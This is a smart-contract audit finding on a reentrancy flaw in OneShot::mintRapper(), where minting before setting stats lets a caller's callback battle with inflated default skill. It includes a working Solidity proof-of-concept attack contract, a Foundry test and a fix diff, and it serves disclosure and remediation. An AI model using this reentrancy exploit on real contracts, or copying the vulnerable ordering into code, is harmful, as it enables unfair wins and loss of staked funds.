Summary
The OneShot::mintRapper() function presents a reentrancy vulnerability due to its non-compliance with the Checks-Effects-Interactions (CEI) pattern. This flaw allows attackers to exploit the system by creating a contract specifically for minting new rappers. Attackers can then engage and win in battles against defenders with skill points under 65.
Vulnerability Details
The issue stems from the OneShot::mintRapper() function executing safeMint() prior to updating the RapperStats, violating the CEI pattern. This order of operations allows for the minting of a rapper without proper initialization of their statistics:
function mintRapper() public {
uint256 tokenId = _nextTokenId++;
@> _safeMint(msg.sender, tokenId);
@> rapperStats[tokenId] =
RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
}
However, due to improper initialization, the newly minted rapper's stats default to zero values, inadvertently assigning them 65 skill points:
struct RapperStats {
bool weakKnees;
bool heavyArms;
bool spaghettiSweater;
bool calmAndReady;
uint256 battlesWon;
}
The resulting RapperStats of the tokenId we are minting will be RapperStats({ weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: false, battlesWon: 0 }), giving us 65 points.
An attacker can deploy a contract that implements the onERC721Received() function, which is invoked by _safeMint() to ensure the recipient can accept ERC721 tokens. This contract can then initiate RapBattle::goOnStageOrBattle() against a defender with less than 65 skill points, leveraging the flawed stat assignment for an unfair advantage.
POC
The following addition to `OneShotTest.t.sol` demonstrates the exploit:
contract MintAndAttack is IERC721Receiver {
OneShot oneShot;
RapBattle rapBattle;
constructor(address oneShotAddress, address rapBattleAddress) {
oneShot = OneShot(oneShotAddress);
rapBattle = RapBattle(rapBattleAddress);
}
function attack() external {
oneShot.mintRapper();
}
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external override returns (bytes4) {
oneShot.approve(address(rapBattle), tokenId);
require(rapBattle.getRapperSkill(tokenId) > rapBattle.getRapperSkill(0), "I'm gonna lose");
rapBattle.goOnStageOrBattle(tokenId, rapBattle.defenderBet());
return IERC721Receiver.onERC721Received.selector;
}
}
function testMintAndAttackBattle() public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
console.log("Defender Skill: ", rapBattle.getRapperSkill(0));
console.log("Attacker Skill: ", rapBattle.getRapperSkill(1));
vm.startPrank(challenger);
MintAndAttack attackContract = new MintAndAttack(address(oneShot), address(rapBattle));
attackContract.attack();
vm.stopPrank();
}
Impact
This vulnerability allows an attacker to mint a rapper with artificially high skill points (equivalent to a 3-day stake) and exploit this to win battles against less skilled defenders.
Tools Used
Manual review.
Recommendations
To mitigate this vulnerability, the order of operations in OneShot::mintRapper() should be adjusted to adhere to the CEI pattern, ensuring proper initialization of rapper stats before the minting process:
function mintRapper() public {
uint256 tokenId = _nextTokenId++;
- _safeMint(msg.sender, tokenId);
+ // Initialize metadata for the minted token
+ rapperStats[tokenId] =
+ RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
- // Initialize metadata for the minted token
- rapperStats[tokenId] =
- RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
+ _safeMint(msg.sender, tokenId);
}